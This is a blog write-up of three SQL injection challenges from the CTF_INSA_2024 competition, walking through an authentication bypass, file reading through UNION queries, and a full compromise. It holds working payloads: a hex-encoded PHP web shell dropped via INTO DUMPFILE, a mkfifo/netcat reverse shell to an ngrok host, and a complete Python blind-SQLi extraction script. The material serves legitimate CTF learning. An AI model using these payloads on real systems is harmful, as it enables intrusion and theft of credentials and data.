Home CTFs | CTF_INSA_2024 | Web | SQLi
Post
Cancel

CTFs | CTF_INSA_2024 | Web | SQLi

SQLi 1

[sqli1_sujet.png]

Here, we are tasked to perform SQL injections. An IPS is configured, this means that we can’t use tools like SQLMap because we would be blocked. We can see, that we are facing a login page. In CTF environment, the first thing that comes to your mind when you see a login page (after trying default credentials) is to perform an SQLi to bypass the authentication process. Using the payload admin' OR True -- - will result in a SQL query looking like: Select * From Users where username='admin' OR True -- - AND password='a'

As you can see, we are looking for the username admin but we use a True statement. The username='admin' OR True will result in a True statement. This will authenticate us as the first user in the database that is often the admin.

Note the use of -- -, this allows us to comment the rest of the query. Thanks to that, we can bypass the need of the password.

[sqli1_login.png]

And voilà, we are authenticated as admin and we have the flag:

[sqli1_flag.png]

SQLi 2

[sqli2_sujet.png]

Here we need to perform a more difficult SQLi. We first need to search for the vulnerable parameter. Here it is id:

[sqli2_vuln.png]

We will try a UNION based SQLi. First we need to know how much columns are used in the SQL query. To do that we can simply use a payload like UNION SELECT NULL -- - then if there is no page printed out, we use the payload UNION SELECT NULL,NULL -- - and so on until we have a page that we can see:

[sqli2_collumns.png]

As we can see from our UNION based SQLi, we know that there are 4 rows in the query. We can now use this to read file like in the LFI 2 challenge:

http://ctf.insa-cvl.fr:1003/post.php?id=-1%20UNION%20SELECT%20NULL,to_base64(load_file(%22/var/www/html/index.php%22)),NULL,NULL%20--%20-

This payload gives us a base64 string of the content of index.php source code. We can decode it and we get:

[sqli2_index.png]

There is no flag here. But we notice a file called db_config.php. Lets check this file:

[sqli2_flag.png]

And voilà… We get the username and password for the database and the flag.

SQLI 3

[sqli3_sujet.png]

Now this challenge is a bit harder than the previous one because we need to upload a shell to the machine. It can be a reverse or web shell, it doesn’t matter. As we can see, when we enter a string we get the exact syntax of the SQL query:

[sqli3_vuln.png]

We will use the following payload to write into the css folder (the only one where we have rights) in the bipbip.php file.

' union select NULL, 0x3c3f7068700a20202020696628697373657428245f4745545b27636d64275d29202626204d443528245f4745545b2770617373275d29203d3d2022636136333537343336306235303061626133336333356163393334333535663122290a202020207b0a202020202020202073797374656d28245f4745545b27636d64275d293b0a202020207d0a3f3e0a into dumpfile '/var/www/html/css/bipbip.php' #

The content of the hexadecimal string it the following:

1
2
3
4
5
6
<?php
    if(isset($_GET['cmd']) && MD5($_GET['pass']) == "ca63574360b500aba33c35ac934355f1")
    {
        system($_GET['cmd']);
    }
?>

Note the use of the hex string instead of putting the plain PHP code. This is because sometimes you will get errors because some characters can be removed for exemple.

Note the use of a password. This is a good practice because you don’t want other teams to be able to use you shell and in a more realist environment you don’t want hackers to be able to use the tools that you are using in your pentest to exploit the company you are assessing.

Now we can just call our file and specify the command and the password:

[sqli3_exploit.png]

We want a reverse shell on the machine, I used this one:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 4.tcp.eu.ngrok.io 14433 >/tmp/f

Note that if you copy/paste this payload in your cmd parameter it won’t work. You will have to URL Encode it first (and change the IP and port by your values ;) ) .

I already set up a listener using nc -lvnp 4444 and a ngrok to be able to be accessible by the server (ngrok tcp 4444).

Here we are using ngrok because we are not on the same network as the machine we are trying to hack. In CTF like Try Hack Me we don’t need ngrok and can simply use nc -lvnp 4444 because we will have an IP on the same network.

As you can see, I got a shell and I beautified it:

[sqli3_rev_shell.png]

Now we can access the full database by simply connecting to mysql using default credentials. Those credentials can be found in the PHP source code of the web pages:

mysql -u root -proot

Now we can list databases, list tables inside the loginsqli and show all the values in the users table:

[sqli3_mysql.png]

We now have the password of bob (superbob) that is the flag to validate the challenge.

Here is a python code that will use an blind/error based SQLi. It performs a dichotomy to retrieve character by character the name of the database, the name of the tables, the name of the columns and the values:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import time
import string
from math import ceil, floor


url_base = "http://ctf.insa-cvl.fr:1009/"

alphabet = r"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
timing = 1

results = []
offset = 0

while 1:

    candidats = [""]

    while candidats:

        #print(candidats)
        
        candidat = candidats.pop(0)
        index = len(candidat) + 1
        
        #print("My candidat:",candidat, "Len candidat:", index)
        print(candidat)
        start = 0
        end = 127

        found = 0
        old_candidat = candidat

        while 1:

            mid = floor((start + end) // 2)
            #print(start, mid, end)
            
            time.sleep(0.05)
            #payload = f"1; select case when ascii(substring(version(), {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end-- -"
            #payload = f"1; select case when ascii(substring(datname, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from pg_database limit 1;-- -"
            #payload = f"1; select case when ascii(substring(table_name, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from information_schema.tables limit 1;-- -"
            #payload = f"1; select case when ascii(substring(column_name, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from information_schema.columns limit 1 offset {offset};-- -"
            #payload = f"1; select case when ascii(substring(password, {index}, 1))>={mid} then pg_sleep({timing}) else pg_sleep(0) end from users limit 1 offset {offset};-- -"
            #payload =  f"admin' and ascii(MID(version(), {index}, 1))>={mid}-- -"
            #payload =  f"admin' and ascii(MID(database(), {index}, 1))>={mid}-- -"
            #payload =  f"admin' and ascii(MID((select group_concat(table_name) from information_schema.tables where table_schema=database()), {index}, 1))>={mid}-- -"
            #payload =  f"admin' and ascii(MID((select group_concat(column_name) from information_schema.columns where table_name='users'), {index}, 1))>={mid}-- -"
            #payload =  f"admin' and ascii(MID((select username from users limit {offset},1), {index}, 1))>={mid}-- -"
            #payload =  f"admin' and ascii(MID((select description from users limit {offset},1), {index}, 1))>={mid}-- -"
            payload =  f"admin' and ascii(MID((select fname from users limit {offset},1), {index}, 1))>={mid}-- -"
            #(select if((ascii(MID(@@version,{index},1)))>={mid}, sleep({timing}, 0)))-- 
            #' or (select if(MID(@@version,{index},1))>={mid}, sleep({timing}), 0)-- -
            #print(payload)
            
            url_final = url_base

            data = {
                "username": payload
            }

            #start_time = time.time()
            response = requests.post(url_final, data=data)
            #print(response.text)

            #delta = time.time() - start_time
            #print(delta)

            if "demande" in response.text:
                if mid == start:
                    #print(chr(mid))
                    char = chr(mid)
                    if char != '\x00':
                        candidats.append(candidat + char)
                    else:
                        results.append(candidat)
                    break
                else:
                    start = mid
            else:
                end = mid
    
    offset += 1


print(results)
This post is licensed under CC BY 4.0 by the author.